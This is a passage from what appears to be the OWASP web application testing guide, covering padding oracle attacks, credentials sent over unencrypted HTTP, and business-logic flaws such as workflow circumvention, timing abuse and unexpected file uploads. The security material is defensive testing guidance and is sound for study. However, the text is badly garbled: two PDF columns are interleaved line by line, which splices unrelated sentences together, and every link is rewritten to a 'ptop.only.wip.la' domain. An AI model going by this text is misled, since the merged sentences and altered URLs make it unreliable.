over_an_Encrypted_Channel_(OTG-AUTHN-001)] A padding oracle is a function of an application which decrypts
• [22] [OWASP Cheat sheet - Transport Layer Protec- encrypted data provided by the client, e.g. internal session state
tion|https://www.owasp.org/index.php/Transport_Layer_Pro- stored on the client, and leaks the state of the validity of the
tection_Cheat_Sheet] padding after decryption. The existence of a padding oracle al-
• [23] [OWASP TOP 10 2013 - A6 Sensitive Data Expo- lows an attacker to decrypt encrypted data and encrypt arbitrary
sure|https://www.owasp.org/index.php/Top_10_2013-A6-Sen- data without knowledge of the key used for these cryptographic
sitive_Data_Exposure] operations. This can lead to leakage of sensible data or to privi-
• [24] [OWASP TOP 10 2010 - A9 Insufficient Transport lege escalation vulnerabilities, if integrity of the encrypted data
Layer Protection|https://www.owasp.org/index.php/ is assumed by the application.
Top_10_2010-A9-Insufficient_Transport_Layer_Protection]
• [25] [OWASP ASVS 2009 - Verification 10|https://code.google. Block ciphers encrypt data only in blocks of certain sizes. Block
com/p/owasp-asvs/wiki/Verification_V10] sizes used by common ciphers are 8 and 16 bytes. Data where
• [26] [OWASP Application Security FAQ - Cryptography/ the size doesn’t match a multiple of the block size of the used
SSL|https://www.owasp.org/index.php/OWASP_Application_ cipher has to be padded in a specific manner so the decryptor is
Security_FAQ#Cryptography.2FSSL] able to strip the padding. A commonly used padding scheme is
PKCS#7. It fills the remaining bytes with the value of the padding
Whitepapers length.
174
Example: least significant bit of the byte at y-2*n-1), re-encode and send.
If the padding has the length of 5 bytes, the byte value 0x05 is
repeated five times after the plain text. If it is known that the encrypted string is a single block (the IV is
stored on the server or the application is using a bad practice hard-
An error condition is present if the padding doesn’t match the coded IV), several bit flips must be performed in turn. An alternative
syntax of the used padding scheme. A padding oracle is present approach could be to prepend a random block, and flip bits in order
if an application leaks this specific padding error condition for en- to make the last byte of the added block take all possible values (0
crypted data provided by the client. This can happen by exposing ex- to 255).
ceptions (e.g. BadPaddingException in Java) directly, by subtle differ-
ences in the responses sent to the client or by another side-channel The tests and the base value should at least cause three different
like timing behavior. states while and after decryption:
Certain modes of operation of cryptography allow bit-flipping at- • Cipher text gets decrypted, resulting data is correct.
tacks, where flipping of a bit in the cipher text causes that the bit is • Cipher text gets decrypted, resulting data is garbled and causes
also flipped in the plain text. Flipping a bit in the n-th block of CBC en- some exception or error handling in the application logic.
crypted data causes that the same bit in the (n+1)-th block is flipped • Cipher text decryption fails due to padding errors.
in the decrypted data. The n-th block of the decrypted cipher text is
garbaged by this manipulation. Compare the responses carefully. Search especially for exceptions
and messages which state that something is wrong with the pad-
The padding oracle attack enables an attacker to decrypt encrypted ding. If such messages appear, the application contains a padding
data without knowledge of the encryption key and used cipher by oracle. If the three different states described above are observable
sending skillful manipulated cipher texts to the padding oracle and implicitly (different error messages, timing side-channels), there is
observing of the results returned by it. This causes loss of confiden- a high probability that there is a padding oracle present at this point.
tiality of the encrypted data. E.g. in the case of session data stored Try to perform the padding oracle attack to ensure this.
on the client side the attacker can gain information about the internal
state and structure of the application. Examples:
A padding oracle attack also enables an attacker to encrypt arbi- • ASP.NET throws “System.Security.Cryptography.Cryptographic
trary plain texts without knowledge of the used key and cipher. If Exception: Padding is invalid and cannot be removed.” if padding of
the application assumes that integrity and authenticity of the de- a decrypted cipher text is broken.
crypted data is given, an attacker could be able to manipulate inter- • In Java a javax.crypto.BadPaddingException is thrown in this case.
nal session state and possibly gain higher privileges. • Decryption errors or similar can be possible padding oracles.
References
Whitepapers Content-Type: text/html
• Wikipedia - Padding oracle attack -
http://en.wikipedia.org/wiki/Padding_oracle_attack <html><head><title>401 Authorization Required</title></
• Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks” - head>
http://www.usenix.org/event/woot10/tech/full_papers/Riz- <body bgcolor=white> <h1>401 Authorization Required</
zo.pdf h1> Invalid login credentials! </body></html>
How to Test
https://secure.example.com/login
Various types of information that must be protected, could be
transmitted by the application in clear text. It is possible to check
if this information is transmitted over HTTP instead of HTTPS, POST /login HTTP/1.1
or whether weak cyphers are used. See more information about Host: secure.example.com
insecure transmission of credentials Top 10 2013-A6-Sensitive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
Data Exposure [3] or insufficient transport layer protection in rv:25.0) Gecko/20100101 Firefox/25.0
general Top 10 2010-A9-Insufficient Transport Layer Protection Accept: text/html,application/xhtml+xml,application/xm-
[2]. l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Example 1: Basic Authentication over HTTP Accept-Encoding: gzip, deflate
A typical example is the usage of Basic Authentication over Referer: https://secure.example.com/
HTTP. When using Basic Authentication, user credentials are en-
Content-Type: application/x-www-form-urlencoded
coded rather than encrypted, and are sent as HTTP headers. In
Content-Length: 188
the example below the tester uses curl [5] to test for this issue.
Note how the application uses Basic authentication, and HTTP
rather than HTTPS HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
curl -kis http://example.com/restricted/ Server: Apache
HTTP/1.1 401 Authorization Required Cache-Control: no-store, no-cache, must-revalidate, max-
Date: Fri, 01 Aug 2013 00:00:00 GMT age=0
WWW-Authenticate: Basic realm=”Restricted Area” Expires: Thu, 01 Jan 1970 00:00:00 GMT
Accept-Ranges: bytes Vary: Pragma: no-cache
Accept-Encoding Content-Length: 162 Set-Cookie: JSESSIONID=BD99F321233AF69593ED-
F52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT;
176
GET /private HTTP/1.1 The classification of business logic flaws has been under-stud-
Host: example.com ied; although exploitation of business flaws frequently happens
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; in real-world systems, and many applied vulnerability research-
rv:25.0) Gecko/20100101 Firefox/25.0 ers investigate them. The greatest focus is in web applications.
Accept: text/html,application/xhtml+xml,application/xm- There is debate within the community about whether these
problems represent particularly new concepts, or if they are vari-
l;q=0.9,*/*;q=0.8
ations of well-known principles.
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Testing of business logic flaws is similar to the test types used
Referer: https://secure.example.com/login by functional testers that focus on logical or finite state testing.
Cookie: JSESSIONID=BD99F321233AF69593ED- These types of tests require that security professionals think a
F52B123B5BDA; bit differently, develop abused and misuse cases and use many
Connection: keep-alive of the testing techniques embraced by functional testers. Auto-
mation of business logic abuse cases is not possible and remains
HTTP/1.1 200 OK a manual art relying on the skills of the tester and their knowl-
Cache-Control: no-store edge of the complete business process and its rules.
Pragma: no-cache
Business Limits and Restrictions
Expires: 0
Consider the rules for the business function being provided by
Content-Type: text/html;charset=UTF-8
the application. Are there any limits or restrictions on people’s
Content-Length: 730 behavior? Then consider whether the application enforces those
Date: Tue, 25 Dec 2013 00:00:00 GMT rules. It’s generally pretty easy to identify the test and analysis
---------------------------------------------------------- cases to verify the application if you’re familiar with the busi-
ness. If you are a third-party tester, then you’re going to have to
use your common sense and ask the business if different opera-
tions should be allowed by the application.
Tools
• [5] curl can be used to check manually for pages Sometimes, in very complex applications, the tester will not have
a full understanding of every aspect of the application initially.
References In these situations, it is best to have the client walk the tester
OWASP Resources through the application, so that they may gain a better under-
• [1] OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers, standing of the limits and intended functionality of the applica-
Insufficient Transport Layer Protection (OTG-CRYPST-001) tion, before the actual test begins. Additionally, having a direct
• [2] OWASP TOP 10 2010 - Insufficient Transport Layer line to the developers (if possible) during testing will help out
Protection greatly, if any questions arise regarding the application’s func-
• [3] OWASP TOP 10 2013 - Sensitive Data Exposure tionality.
• [4] OWASP ASVS v1.1 - V10 Communication Security Verification
Requirements Description of the Issue
• [6] OWASP Testing Guide - Testing for Cookies attributes Automated tools find it hard to understand context, hence it’s up
(OTG-SESS-002) to a person to perform these kinds of tests. The following two
examples will illustrate how understanding the functionality of
Testing for business logic the application, the developer’s intentions, and some creative
Summary “out-of-the-box” thinking can break the application’s logic. The
Testing for business logic flaws in a multi-functional dynamic first example starts with a simplistic parameter manipulation,
web application requires thinking in unconventional methods. whereas the second is a real world example of a multi-step pro-
If an application’s authentication mechanism is developed with cess leading to completely subvert the application.
177
4.12.1 Test business logic data validation (OTG-BUSLOGIC-001) 4.12.7 Test Defenses Against Application Mis-use (OTG-BUS-
In business logic data validation testing, we verify that the ap- LOGIC-007)
plication does not allow users to insert “unvalidated” data into In application mis-use testing, we verify that the application
the system/application. This is important because without this does not allow users to manipulate the application in an unin-
safeguard attackers may be able to insert “unvalidated” data/in- tended manner.
formation into the application/system at “handoff points” where
the application/system believes that the data/information is 4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOG-
“good” and has been valid since the “entry points” performed IC-008)
data validation as part of the business logic workflow. In unexpected file upload testing, we verify that the application
does not allow users to upload file types that the system is not
4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002) expecting or wanted per the business logic requirements. This is
In forged and predictive parameter request testing, we verify important because without these safeguards in place attackers
that the application does not allow users to submit or alter data may be able to submit unexpected files such as .exe or .php that
to any component of the system that they should not have access could be saved to the system and then executed against the ap-
to, are accessing at that particular time or in that particular man- plication or system.
ner. This is important because without this safeguard attackers
may be able to “fool/trick” the application into letting them into 4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)
sections of thwe application of system that they should not be In malicious file upload testing, we verify that the application
allowed in at that particular time, thus circumventing the appli- does not allow users to upload files to the system that are ma-
cations business logic workflow. licious or potentially malicious to the system security. This is
important because without these safeguards in place attackers
4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003) may be able to upload files to the system that may spread virus-
In integrity check and tamper evidence testing, we verify that the es, malware or even exploits such as shellcode when executed.
application does not allow users to destroy the integrity of any
part of the system or its data. This is important because without Tools
these safe guards attackers may break the business logic work- While there are tools for testing and verifying that business pro-
flow and change of compromise the application/system data or cesses are functioning correctly in valid situations these tools
cover up actions by altering information including log files. are incapable of detecting logical vulnerabilities. For example,
tools have no means of detecting if a user is able to circumvent
4.12.4 Test for Process Timing (OTG-BUSLOGIC-004) the business process flow through editing parameters, predict-
In process timing testing, we verify that the application does not ing resource names or escalating privileges to access restricted
allow users to manipulate a system or guess its behavior based resources nor do they have any mechanism to help the human
178
testers to suspect this state of affairs. site you use, with all your accounts; if you want to use another
The following are some common tool types that can be useful in account just swap profile!
identifying business logic issues.
• HTTP Response Browser - https://chrome.google.com/web-
HP Business Process Testing Software store/detail/mgekankhbggjkjpcbhacjgflbacnpljm?hl=en-US
• http://www8.hp.com/us/en/software-solutions/software.ht-
ml?compURI=1174789#.UObjK3ca7aE Make HTTP requests from your browser and browse the re-
sponse (HTTP headers and source). Send HTTP method, headers
Intercepting Proxy - To observe the request and response and body using XMLHttpRequest from your browser then view
blocks of HTTP traffic. the HTTP status, headers and source. Click links in the headers or
• Webscarab - https://www.owasp.org/index.php/Catego- body to issue new requests. This plug-in formats XML responses
ry:OWASP_WebScarab_Project and uses Syntax Highlighter < http://alexgorbatchev.com/ >.
Edit This Cookie is a cookie manager. You can add, delete, edit, • Finite State testing of Graphical User Interfaces, Fevzi Belli -
search, protect and block cookies http://www.slideshare.net/Softwarecentral/finitestate-test-
• Session Manager - https://chrome.google.com/webstore/de- ing-of-graphical-user-interfaces
tail/bbcnbpafconjjigibnhbfmmgdbbkcjfi
• Principles and Methods of Testing Finite State Machines - A
With Session Manager you can quickly save your current browser Survey, David Lee, Mihalis Yannakakis - http://www.cse.ohio-
state and reload it whenever necessary. You can manage multi- state.edu/~lee/english/pdf/ieee-proceeding-survey.pdf
ple sessions, rename or remove them from the session library.
Each session remembers the state of the browser at its cre- • Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin
ation time, i.e. the opened tabs and windows. Once a session is Choi - http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf
opened, the browser is restored to its state.
• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik,
• Cookie Swap - https://chrome.google.com/webstore/detail/ McAfee - https://www.info-point-security.com/open_down-
dffhipnliikkblkhpjapbecpmoilcama?hl=en-US loads/2008/McAfee_wp_online_gaming_0808.pdf
Swap My Cookies is a session manager, it manages your cookies, • Seven Business Logic Flaws That Put Your Website At Risk
letting you login on any website with several different accounts. – Jeremiah Grossman Founder and CTO, WhiteHat Security -
You can finally login into Gmail, yahoo, hotmail, and just any web- https://www.whitehatsec.com/resource/whitepapers/busi-
179
ness_logic_flaws.html Business_Logic_White_Paper.pdf
• Toward Automated Detection of Logic Vulnerabilities in Web Books
Applications - Viktoria Felmetsger Ludovico Cavedon Christo- • The Decision Model: A Business Logic Framework Linking Busi-
pher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/ ness and Technology, By Barbara Von Halle, Larry Goldberg, Pub-
event/sec10/tech/full_papers/Felmetsger.pdf lished by CRC Press, ISBN1420082817 (2010)
• 2012 Web Session Intelligence & Security Report: Business Test business logic data validation
Logic Abuse, Dr. Ponemon - http://www.emc.com/collateral/ (OTG-BUSLOGIC-001)
rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf Summary
The application must ensure that only logically valid data can be
• 2012 Web Session Intelligence & Security Report: Business entered at the front end as well as directly to the server side of
Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertail- an application of system. Only verifying data locally may leave
systems.com/Ponemon_UK.htm applications vulnerable to server injections through proxies or at
handoffs with other systems. This is different from simply per-
OWASP Related forming Boundary Value Analysis (BVA) in that it is more difficult
• Business Logic Attacks – Bots and Bats, Eldad Chai - http:// and in most cases cannot be simply verified at the entry point,
www.imperva.com/resources/adc/pdfs/AppSecEU09_Busi- but usually requires checking some other system.
nessLogicAttacks_EldadChai.pdf
For example: An application may ask for your Social Security
• OWASP Detail Misuse Cases - https://www.owasp.org/index. Number. In BVA the application should check formats and se-
php/Detail_misuse_cases mantics (is the value 9 digits long, not negative and not all 0’s) for
the data entered, but there are logic considerations also. SSNs
• How to Prevent Business Flaws Vulnerabilities in Web Applica- are grouped and categorized. Is this person on a death file? Are
tions, Marco Morana - http://www.slideshare.net/marco_mora- they from a certain part of the country?
na/issa-louisville-2010morana
Vulnerabilities related to business data validation is unique in
Useful Web Sites that they are application specific and different from the vulner-
• Abuse of Functionality - http://projects.webappsec.org/w/ abilities related to forging requests in that they are more con-
page/13246913/Abuse-of-Functionality cerned about logical data as opposed to simply breaking the
business logic workflow.
• Business logic - http://en.wikipedia.org/wiki/Business_logic
The front end and the back end of the application should be ver-
• Business Logic Flaws and Yahoo Games - http://jeremiah- ifying and validating that the data it has, is using and is passing
grossman.blogspot.com/2006/12/business-logic-flaws.html along is logically valid. Even if the user provides valid data to an
application the business logic may make the application behave
• CWE-840: Business Logic Errors - http://cwe.mitre.org/data/ differently depending on data or circumstances.
definitions/840.html
Examples
• Defying Logic: Theory, Design, and Implementation of Complex Example 1
Systems for Testing Application Logic - Suppose you manage a multi-tiered e-commerce site that allows
http://www.slideshare.net/RafalLos/defying-logic-busi- users to order carpet. The user selects their carpet, enters the
ness-logic-testing-with-automation size, makes the payment, and the front end application has ver-
ified that all entered information is correct and valid for contact
• Prevent application logic attacks with sound app se- information, size, make and color of the carpet. But, the business
curity practices - http://searchappsecurity.techtarget. logic in the background has two paths, if the carpet is in stock it
co m /qn a /0, 2 8 9202 ,si d 92_g c i1213 424 ,0 0 . h t m l ? b u c k- is directly shipped from your warehouse, but if it is out of stock in
et=NEWS&topic=302570 your warehouse a call is made to a partner’s system and if they
have it in-stock they will ship the order from their warehouse
• Real-Life Example of a ‘Business Logic Defect - http://h30501. and reimbursed by them. What happens if an attacker is able to
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life- continue a valid in-stock transaction and send it as out-of-stock
Example-of-a-Business-Logic-Defect-Screen-Shots/ba- to your partner? What happens if an attacker is able to get in the
p/22581 middle and send messages to the partner warehouse ordering
carpet without payment?
• Software Testing Lifecycle - http://softwaretestingfundamen-
tals.com/software-testing-life-cycle/ Example 2
Many credit card systems are now downloading account bal-
• Top 10 Business Logic Attack Vectors Attacking and Exploiting ances nightly so the customers can check out more quickly for
Business Application Assets and Flaws – Vulnerability Detection amounts under a certain value. The inverse is also true. I
to Fix - f I pay my credit card off in the morning I may not be able to use
http://www.ntobjectives.com/go/business-logic-attack-vec- the available credit in the evening. Another example may be if I
tors-white-paper/ and http://www.ntobjectives.com/files/ use my credit card at multiple locations very quickly it may be
180
Also, if an attacker was able to see through a proxy that the ap- Debugging features which remain present in the final game
plication has a hidden field used during development and testing http://glitchcity.info/wiki/index.php/List_of_video_games_
to enabled a log that indicated where other online players, or hid- with_debugging_features#Debugging_features_which_
den treasure were in relation to the attacker, they would then be remain_present_in_the_final_game
able to quickly go to these locations and score points.
Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media)
How to Test
Generic Testing Method Top 10 Software Easter Eggs - http://lifehacker.com/371083/
top-10-software-easter-eggs
• Review the project documentation and use exploratory testing
looking for guessable, predictable or hidden functionality of Remediation
fields. The application must be smart enough and designed with busi-
ness logic that will prevent attackers from predicting and manip-
• Once found try to insert logically valid data into the application/ ulating parameters to subvert programmatic or business logic
system allowing the user go through the application/system flow, or exploiting hidden/undocumented functionality such as
against the normal busineess logic workflow. debugging.
time they log on. What if an attacker logs on and places an order
• Tamper Evidence Logging - http://tamperevident.cs.rice.edu but does not complete the transaction until later in the day only
Logging.html of the price of the metals goes up? Will the attacker get the initial
lower price?
Remediation
The application must be smart enough to check for relational How to Test
edits and not allow users to submit information directly to the • Review the project documentation and use exploratory
server that is not valid, trusted because it came from a non-edit- testing looking for application/system functionality that may
able controls or the user is not authorized to submit through the be impacted by time. Such as execution time or actions that
front end. Additionally, any component that can be edited must help users predict a future outcome or allow one to circumvent
have mechanisms in place to prevent unintentional/intentional any part of the business logic or workflow. For example, not
writing or updating. completing transactions in an expected time.
Test for Process Timing (OTG-BUSLOGIC-004) • Develop and execute the mis-use cases ensuring that attackers
Summary can not gain an advantage based on any timing.
It is possible that attackers can gather information on an appli-
cation by monitoring the time it takes to complete a task or give Related Test Cases
a respond. Additionally, attackers may be able to manipulate and
break designed business process flows by simply keeping active • Testing for Cookies attributes (OTG-SESS-002)
sessions open and not submitting their transactions in the “ex-
pected” time frame. • Test Session Timeout (OTG-SESS-007)
Suppose an eCommerce site allows users to take advantage of zation of staff, or one or more simple or complex mechanisms.
any one of many discounts on their total purchase and then pro- Workflow may be seen as any abstraction of real work.” (https://
ceed to checkout and tendering. What happens of the attacker en.wikipedia.org/wiki/Workflow)
navigates back to the discounts page after taking and applying
the one “allowable” discount? Can they take advantage of an- The application’s business logic must require that the user com-
other discount? Can they take advantage of the same discount plete specific steps in the correct/specific order and if the work-
multiple times? flow is terminated without correctly completing, all actions and
spawned actions are “rolled back” or canceled. Vulnerabilities re-
How to Test lated to the circumvention of workflows or bypassing the correct
• Review the project documentation and use exploratory testing business logic workflow are unique in that they are very applica-
looking for functions or features in the application or system tion/system specific and careful manual misuse cases must be
that should not be executed more that a single time or specified developed using requirements and use cases.
number of times during the business logic workflow.
The applications business process must have checks to ensure
• For each of the functions and features found that should only that the user’s transactions/actions are proceeding in the cor-
be executed a single time or specified number of times during rect/acceptable order and if a transaction triggers some sort of
the business logic workflow, develop abuse/misuse cases that action, that action will be “rolled back” and removed if the trans-
may allow a user to execute more than the allowable number of action is not successfully completed.
times. For example, can a user navigate back and forth through
the pages multiple times executing a function that should only Examples
execute once? or can a user load and unload shopping carts Example 1
allowing for additional discounts. Many of us receive so type of “club/loyalty points” for purchas-
es from grocery stores and gas stations. Suppose a user was
Related Test Cases able to start a transaction linked to their account and then af-
ter points have been added to their club/loyalty account cancel
• Testing for Account Enumeration and Guessable User Account out of the transaction or remove items from their “basket” and
(OTG-IDENT-004) tender. In this case the system either should not apply points/
credits to the account until it is tendered or points/credits should
• Testing for Weak lock out mechanism (OTG-AUTHN-003) be “rolled back” if the point/credit increment does not match the
final tender. With this in mind, an attacker may start transac-
References tions and cancel them to build their point levels without actually
InfoPath Forms Services business logic exceeded the maximum buy anything.
limit of operations Rule - http://mpwiki.viacode.com/default.as-
px?g=posts&t=115678 Example 2
An electronic bulletin board system may be designed to ensure
Gold Trading Was Temporarily Halted On The CME This Morning that initial posts do not contain profanity based on a list that the
- http://www.businessinsider.com/gold-halted-on-cme-for- post is compared against. If a word on a “black” the list is found
stop-logic-event-2013-10 in the user entered text the submission is not posted. But, once a
submission is posted the submitter can access, edit, and change
Remediation the submission contents to include words included on the pro-
The application should have checks to ensure that the business fanity/black list since on edit the posting is never compared
logic is being followed and that if a function/action can only be again. Keeping this in mind, attackers may open an initial blank or
executed a certain number of times, when the limit is reached minimal discussion then add in whatever they like as an update.
the user can no longer execute the function. To prevent users
from using a function over the appropriate number of times the How to Test
application may use mechanisms such as cookies to keep count Generic Testing Method
or through sessions not allowing users to access to execute the • Review the project documentation and use exploratory testing
function additional times. looking for methods to skip or go to steps in the application
process in a different order from the designed/intended
Testing for the Circumvention of Work Flows business logic flow.
(OTG-BUSLOGIC-006)
Summary • For each method develop a misuse case and try to circumvent
Workflow vulnerabilities involve any type of vulnerability that al- or perform an action that is “not acceptable” per the the
lows the attacker to misuse an application/system in a way that business logic workflow.
will allow them to circumvent (not follow) the designed/intended
workflow. Testing Method 1
• Start a transaction going through the application past the
“A workflow consists of a sequence of connected steps where points that triggers credits/points to the users account.
each step follows without delay or gap and ends just before the
subsequent step may begin. It is a depiction of a sequence of • Cancel out of the transaction or reduce the final tender so that
operations, declared as work of a person or group, an organi- the point values should be decreased and check the points/
185
credit system to ensure that the proper points/credits were cess in the correct order and prevent attackers from circumvent-
recorded. ing/skipping/or repeating any steps/processes in the workflow.
Test for workflow vulnerabilities involves developing business
Testing Method 2 logic abuse/misuse cases with the goal of successfully complet-
• On a content management or bulletin board system enter and ing the business process while not completing the correct steps
save valid initial text or values. in the correct order.
• Then try to append, edit and remove data that would leave the Test defenses against application mis-use
existing data in an invalid state or with invalid values to ensure (OTG-BUSLOGIC-007)
that the user is not allowed to save the incorrect information. Summary
Some “invalid” data or information may be specific words The misuse and invalid use of of valid functionality can identify
(profanity) or specific topics (such as political issues). attacks attempting to enumerate the web application, identify
weaknesses, and exploit vulnerabilities. Tests should be under-
Related Test Cases taken to determine whether there are application-layer defen-
sive mechanisms in place to protect the application.
• Testing Directory traversal/file include (OTG-AUTHZ-001)
The lack of active defenses allows an attacker to hunt for vulner-
• Testing for bypassing authorization schema (OTG-AUTHZ-002) abilities without any recourse. The application’s owner will thus
not know their application is under attack.
• Testing for Bypassing Session Management Schema
(OTGSESS-001) Example
An authenticated user undertakes the following (unlikely) se-
• Test Business Logic Data Validation (OTG-BUSLOGIC-001) quence of actions:
• Test Ability to Forge Requests (OTG-BUSLOGIC-002) [1] Attempt to access a file ID their roles is not permitted to
download
• Test Integrity Checks (OTG-BUSLOGIC-003) [2] Substitutes a single tick (‘) instead of the file ID number
[3] Alters a GET request to a POST
• Test for Process Timing (OTG-BUSLOGIC-004) [4] Adds an extra parameter
[5] Duplicates a parameter name/value pair
• Test Number of Times a Function Can be Used Limits
(OTG-BUSLOGIC-005) The application is monitoring for misuse and responds after the
5th event with extremely high confidence the user is an attacker.
• Test Defenses Against Application Mis-use For example the application:
(OTG-BUSLOGIC-007)
• Disables critical functionality
• Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) • Enables additional authentication steps to the remaining
functionality
• Test Upload of Malicious Files (OTG-BUSLOGIC-009) • Adds time-delays into every request-response cycle
• Begins to record additional data about the user’s interactions
References (e.g. sanitized HTTP request headers, bodies and response
• OWASP Detail Misuse Cases - https://www.owasp.org/index bodies)
php/Detail_misuse_cases
If the application does not respond in any way and the attack-
• Real-Life Example of a ‘Business Logic Defect - http://h30501 er can continue to abuse functionality and submit clearly mali-
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life- cious content at the application, the application has failed this
Example-of-a-Business-Logic-Defect-Screen-Shots/ba- test case. In practice the discrete example actions in the example
p/22581 above are unlikely to occur like that. It is much more probable that
a fuzzing tool is used to identify weaknesses in each parameter
• Top 10 Business Logic Attack Vectors Attacking and Exploiting in turn. This is what a security tester will have undertaken too.
Business Application Assets and Flaws – Vulnerability Detection
to Fix - http://www.ntobjectives.com/go/business-logic- How to Test
attack-vectors-white-paper/ and http://www.ntobjectives. This test is unusual in that the result can be drawn from all the
com/files/Business_Logic_White_Paper.pdf other tests performed against the web application. While per-
forming all the other tests, take note of measures that might
• CWE-840: Business Logic Errors - http://cwe.mitre.org/data indicate the application has in-built self-defense:
definitions/840.html
• Changed responses
Remediation • Blocked requests
The application must be self-aware and have checks in place en- • Actions that log a user out or lock their account
suring that the users complete each step in the work flow pro-
186
These may only be localised. Common localized (per function) CrossTalk The Journal of Defense Software Engineering, Vol.
defenses are: 24, No. 5, Sep/Oct 2011
• Rejecting input containing certain characters Test Upload of Unexpected File Types
• Locking out an account temporarily after a number of (OTG-BUSLOGIC-008)
authentication failures Summary
Many application’s business processes allow for the upload and
Localized security controls are not sufficient. There are often no manipulation of data that is submitted via files. But the business
defenses against general mis-use such as: process must check the files and only allow certain “approved”
file types. Deciding what files are “approved” is determined by
• Forced browsing the business logic and is application/system specific. The risk in
• Bypassing presentation layer input validation that by allowing users to upload files, attackers may submit an
• Multiple access control errors unexpected file type that that could be executed and adversely
• Additional, duplicated or missing parameter names impact the application or system through attacks that may de-
• Multiple input validation or business logic verification failures face the web site, perform remote commands, browse the sys-
with values that cannot be the result user mistakes or typos tem files, browse the local resources, attack other servers, or
• Structured data (e.g. JSPN, XML) of an invalid format is received exploit the local vulnerabilities, just to name a few.
• Blatant cross-site scripting or SQL injection payloads are
received Vulnerabilities related to the upload of unexpected file types is
• Utilising the application faster than would be possible without unique in that the upload should quickly reject a file if it does not
automation tools have a specific extension. Additionally, this is different from up-
• Change in continental geo-location of a user loading malicious files in that in most cases an incorrect file for-
• Change of user agent mat may not by it self be inherently “malicious” but may be det-
• Accessing a multi-stage business process in the wrong order rimental to the saved data. For example if an application accepts
• Large number of, or high rate of use of, application-specific Windows Excel files, if an similar database file is uploaded it may
functionality (e.g. voucher code submission, failed credit card be read but data extracted my be moved to incorrect locations.
payments, file uploads, file downloads, log outs, etc).
The application may be expecting only certain file types to be
These defenses work best in authenticated parts of the appli- uploaded for processing, such as .CSV, .txt files. The application
cation, although rate of creation of new accounts or accessing may not validate the uploaded file by extension (for low assur-
content (e.g. to scrape information) can be of use in public areas. ance file validation) or content (high assurance file validation).
This may result in unexpected system or database results within
Not all the above need to be monitored by the application, but the application/system or give attackers additional methods to
there is a problem if none of them are. By testing the web appli- exploit the application/system.
cation, doing the above type of actions, was any response tak-
en against the tester? If not, the tester should report that the Example
application appears to have no application-wide active defenses Suppose a picture sharing application allows users to upload a
against misuse. Note it is sometimes possible that all responses .gif or .jpg graphic file to the web site. What if an attacker is able
to attack detection are silent to the user (e.g. logging changes, to upload an html file with a <script> tag in it or php file? The
increased monitoring, alerts to administrators and and request system may move the file from a temporary location to the final
proxying), so confidence in this finding cannot be guaranteed. In location where the php code can now be executed against the
practice, very few applications (or related infrastructure such as application or system.
a web application firewall) are detecting these types of misuse.
How to Test
Related Test Cases Generic Testing Method
All other test cases are relevant. • Review the project documentation and perform some
exploratory testing looking for file types that should be
Tools “unsupported” by the application/system.
The tester can use many of the tools used for the other test cas-
es. • Try to upload these “unsupported” files an verify that it are
properly rejected.
References
• Resilient Software, Software Assurance, US Department • If multiple files can be uploaded at once, there must be tests in
Homeland Security place to verify that each file is properly evaluated.
• IR 7684 Common Misuse Scoring System (CMSS), NIST
• Common Attack Pattern Enumeration and Classification Specific Testing Method
(CAPEC), The Mitre Corporation
• OWASP_AppSensor_Project • Study the applications logical requirements.
• AppSensor Guide v2, OWASP
• Watson C, Coates M, Melton J and Groves G, Creating Attack • Prepare a library of files that are “not approved” for upload that
Aware Software Applications with Real-Time Defenses, may contain files such as: jsp, exe, or html files containing script.
187
• Secure Programming Tips - Handling File Uploads - https:/ • Try to upload the malicious file to the application/system and
www.datasprings.com/resources/dnn-tutorials/artmid/535/ verify that it is correctly rejected.
articleid/65/secure-programming-tips-handling-file-uploads?
AspxAutoDetectCookieSupport=1 • If multiple files can be uploaded at once, there must be tests in
place to verify that each file is properly evaluated.
Remediation
Applications should be developed with mechanisms to only ac- Specific Testing Method 1
cept and manipulate “acceptable“ files that the rest of the appli- • Using the Metasploit payload generation functionality
